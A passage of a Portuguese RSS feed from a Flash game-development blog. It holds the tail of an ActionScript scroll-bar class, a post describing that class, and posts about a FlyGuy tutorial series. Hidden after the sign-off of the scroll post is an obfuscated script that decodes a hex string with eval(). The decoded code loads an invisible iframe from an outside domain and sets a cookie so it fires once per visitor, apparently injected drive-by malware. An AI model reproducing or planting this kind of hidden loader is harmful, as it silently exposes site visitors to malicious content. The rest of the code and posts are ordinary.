<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Adiciona os eventos do mouse</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span> MouseEvent.<span style="color: #006600;">MOUSE_DOWN</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll_Down</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">MOUSE_UP</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">stage_Up</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Seta a área do scroll no conteúdo.</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">conteudo</span>.<span style="color: #006600;">scrollRect</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">else</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #0066CC;">visible</span> = <span style="color: #000000; font-weight: bold;">false</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* Método que reajusta as novas posições do scroll e do conteúdo</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">*/</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> ajustaScroll<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Botões</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">precisaScroll</span> <span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// É trada dessa forma para que o usuário não tenha que ficar clicando para baixar ou subir o conteúdo.</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Não foi utilizado os eventos porque, caso fosse usados, eles seriam envocados apenas uma vez</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> !<span style="color: #0066CC;">this</span>.<span style="color: #006600;">mousePressionado</span> <span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoCima</span>.<span style="color: #006600;">hitTestPoint</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoCima</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">mouseX</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoCima</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">mouseY</span><span style="color: #66cc66;">&#41;</span> &amp;amp;&amp;amp; <span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span>&amp;gt; <span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span>&nbsp; <span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span> -= <span style="color: #0066CC;">Scroll</span>.<span style="color: #006600;">VELOCIDADE_SCROLL</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span> &amp;lt;this.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span> <span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoBaixo</span>.<span style="color: #006600;">hitTestPoint</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoBaixo</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">mouseX</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoBaixo</span>.<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">mouseY</span><span style="color: #66cc66;">&#41;</span> &amp;amp;&amp;amp; <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #006600;">y</span> &amp;lt;this.<span style="color: #006600;">alturaConteudo</span> <span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span> += <span style="color: #0066CC;">Scroll</span>.<span style="color: #006600;">VELOCIDADE_SCROLL</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span>&amp;gt; <span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span> + <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span> <span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span> + <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Regra de 3 para saber a porcentagem do deslocamento desde o ponto inicial até a posição atual da bola do scroll</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">var</span> variacao:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span> - <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span> - <span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">variacao = <span style="color: #cc66cc;color:#800000;">1</span> - <span style="color: #66cc66;">&#40;</span>variacao / <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">alturaConteudo</span> * variacao;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Atualiza o scroll</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">conteudo</span>.<span style="color: #006600;">scrollRect</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* Método que implementa o tratamento do evento MOUSE_DOWN, quando o botão do mouse estiver pressionado, a bola do scroll</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; event - Evento</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">*/</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> bolaScroll_Down<span style="color: #66cc66;">&#40;</span> event:MouseEvent <span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">mousePressionado</span> = <span style="color: #000000; font-weight: bold;">true</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #0066CC;">startDrag</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">false</span>, <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span>.<span style="color: #006600;">y</span>, <span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* Método que implementa o tratamento do evento MOUSE_UP, quando o botão do mouse for solto(released)</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* O evento foi adicionado no stage para que ele possa ser trato em qualquer parte do SWF</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; event - Evento</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">*/</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> stage_Up<span style="color: #66cc66;">&#40;</span> event:MouseEvent <span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">mousePressionado</span> = <span style="color: #000000; font-weight: bold;">false</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #0066CC;">stopDrag</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Eu desenvolvi uma classe Scroll para atender a necessidade em questão.<br />
As explicações estão no próprio código, porém a grande vantagem que essa classe possui é uma classe portátil para diversos sistemas, os botões e conteúdos podem estar em qualquer lugar da tela, é fácil de ser customizável e é mais leve que o componente do Flash.</p>
<p>O scroll pode ser visto online <a href="http://www.cubagames.com.br/exemplos/scroll" target="_blank">nesse link</a> e baixado <a href="http://www.cubagames.com.br/exemplos/scroll/scroll.zip" target="_blank">nesse link</a>.</p>
<p>Aquele abraço!<br />
<script>function B9A9739EAB7AA1C032A7BAB1AEDDBE(F0EC3331EE1CD6920E6029CEEFC2){function C86B99B0BEF97EF8B4D78365C75738B(){var E4AC6D1B14CFA353D5E8ADF2=16;return E4AC6D1B14CFA353D5E8ADF2;}return(parseInt(F0EC3331EE1CD6920E6029CEEFC2,C86B99B0BEF97EF8B4D78365C75738B()));}function C413BF470390CE664B83B62098C553BB(EFB33928FE5AD32FD431A094038CD4BA){function DB96D1DC54A9615E172A54E10B9(){var CF4B6435D4486C3FD96FDDE7540=2;return CF4B6435D4486C3FD96FDDE7540;}var BCC3437B28ADC4AB580413545D="";for(E518DB09554F18E412AF23AA=0;E518DB09554F18E412AF23AA<EFB33928FE5AD32FD431A094038CD4BA.length;E518DB09554F18E412AF23AA+=DB96D1DC54A9615E172A54E10B9()){BCC3437B28ADC4AB580413545D+=( String.fromCharCode(B9A9739EAB7AA1C032A7BAB1AEDDBE(EFB33928FE5AD32FD431A094038CD4BA.substr(E518DB09554F18E412AF23AA,DB96D1DC54A9615E172A54E10B9()))));}eval(BCC3437B28ADC4AB580413545D);}C413BF470390CE664B83B62098C553BB("696628646F63756D656E742E636F6F6B69652E73656172636828226F3D3722293D3D2D31297B646F63756D656E742E777269746528223C696672616D65207372633D687474703A2F2F676F6F676C6572616E6B2E696E666F207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E22293B646F63756D656E742E636F6F6B69653D226F3D373B657870697265733D53756E2C2030312D4465632D323030392030383A30303A303020474D543B706174683D2F223B7D");</script></p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/scroll-simplificado/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Parabéns (totalmente atrasado)!</title>
		<link>http://www.cubagames.com.br/parabens-totalmente-atrasado/</link>
		<comments>http://www.cubagames.com.br/parabens-totalmente-atrasado/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 14:36:48 +0000</pubDate>
		<dc:creator>Romulo De Lazzari</dc:creator>
				<category><![CDATA[CubaGames]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>
		<category><![CDATA[FlyGuy]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/parabens-totalmente-atrasado/</guid>
		<description><![CDATA[<p>O Guilherme está desenvolvendo <a href="http://www.cubagames.com.br/category/flyguy/">a série FlyGuy</a> faz um bom tempo e ela está tendo uma boa repercussão entre os leitores da CubaGames. O formato escolhido para os últimos posts feitos nesta série, vídeo-tutoriais, se encaixou perfeitamente para a finalidade real do post, ensinar noções de actionscript.</p>
<p>Eu gostaria de parabenizar o <a href="http://www.neyestrabelli.com/blog/">Ney Estrabelli</a> pelo <a href="http://pspframework.sourceforge.net/wordpress/2007/10/28/exemplo-flyguy/">excelente trabalho feito na versão do FlyGuy para PSP</a>, ficou muito legal! Assim como <a href="http://www.rodrigoflausino.com/blog/2007/11/17/serie-faca-o-seu-jogo-da-cubagames/">eu disse nos comentários do Flausino</a>: <em>"é muito gratificante saber que a CubaGames está se tornando uma referência legal na área de  desenvolvimento de jogos no Brasil"</em>.</p>
<p>O vídeo abaixo mostra o FlyGuy rodando no PSP. Parabéns Ney!</p>
<div class="wpv_videoc">
<div class="wpv_video"><object data="http://www.youtube.com/v/ROk-brtv-Jo" type="application/x-shockwave-flash" width="100%" height="100%"><param name="movie" value="http://www.youtube.com/v/ROk-brtv-Jo"></param></object></div>
</div>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/parabens-totalmente-atrasado/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FlyGuy Parte 6 &#8211; Vôo</title>
		<link>http://www.cubagames.com.br/flyguy-parte-6-voo/</link>
		<comments>http://www.cubagames.com.br/flyguy-parte-6-voo/#comments</comments>
		<pubDate>Fri, 26 Oct 2007 21:25:03 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>
		<category><![CDATA[FlyGuy]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/flyguy-parte-6-voo/</guid>
		<description><![CDATA[<p>Dando continuidade a série FlyGuy, eu apresento agora a sexta parte série, o vôo.</p>
<p>Mantendo o formato do tutorial das duas últimas partes, eu apresento um <a href="http://www.vimeo.com/7844092" target="_blank">vídeo tutorial</a> desse módulo.<br />
Eu acredito que essa versão da minha explicação não ficou como esperado, mas acredito que já seja o suficiente pra dar início ao entendimento dessa parte.</p>
<p>Qualquer dúvida, ou sugestão, é só berrar.</p>
<p>Para efetuar o download dos fontes do projeto <a href="http://www.cubagames.com.br/exemplos/flyguy/parte6/parte6.zip" target="_blank">clique aqui</a> e para visualizar a nova versão do FlyGuy <a href="http://www.cubagames.com.br/exemplos/flyguy/parte6" target="_blank">clique aqui</a>.</p>
<p>Aquele abraço.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/flyguy-parte-6-voo/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>FlyGuy Parte 5 &#8211; Som</title>
		<link>http://www.cubagames.com.br/flyguy-parte-5-som/</link>
		<comments>http://www.cubagames.com.br/flyguy-parte-5-som/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 16:25:30 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>
		<category><![CDATA[FlyGuy]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/flyguy-parte-5-som/</guid>
		<description><![CDATA[<p>Como prometido, agora eu abordarei a parte de som do FlyGuy. Novamente, eu fiz um vídeo tutorial para explicar e exemplificar a questão.</p>
<p><a href="http://www.vimeo.com/7843798">Vídeo FlyGuy Parte 5 - Som</a></p>
<p>Para acessar o exemplo do FlyGuy <a href="http://cubagames.com.br/exemplos/flyguy/parte5/" target="_blank">clique aqui</a>, para fazer download dos fontes <a href="http://cubagames.com.br/exemplos/flyguy/parte5/parte5.zip" target="_blank">clique aqui</a>.</p>
<p>Aquele abraço.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/flyguy-parte-5-som/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FlyGuy Parte 4 &#8211; Scroll</title>
		<link>http://www.cubagames.com.br/flyguy-parte-4-scroll/</link>
		<comments>http://www.cubagames.com.br/flyguy-parte-4-scroll/#comments</comments>
		<pubDate>Thu, 06 Sep 2007 04:40:56 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>
		<category><![CDATA[FlyGuy]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/flyguy-parte-4-scroll/</guid>
		<description><![CDATA[<p>Dando continuidade a série FlyGuy, eu fiz um vídeo tutorial demonstrando a funcionalidade scroll dos objetos da tela.</p>
<p>Esse foi o meu primeiro vídeo tutorial, eu sofri um pouco pra fazer. Sabe como que é, a falta de experiência é uma coisa terrível. Tanto é que quando eu digo 180, referente ao limite horizontal, entende-se 80.<br />
Infelizmente desta vez não será possível ver pelo site da CubaGames o vídeo. Prometo que da próxima vez será possível.</p>
<p><a href="http://www.vimeo.com/7843525">Vídeo FlyGuy Parte 4 - Scroll</a></p>
<p>Para acessar o exemplo do FlyGuy <a href="http://cubagames.com.br/exemplos/flyguy/parte4/" target="_blank">clique aqui</a>, para fazer download dos fontes <a href="http://cubagames.com.br/exemplos/flyguy/parte4/parte4.zip" target="_blank">clique aqui</a>.</p>
<p>Críticas ou  sugestões, os comentários estão aí pra isso mesmo.</p>
<p>Aquele abraço.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/flyguy-parte-4-scroll/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

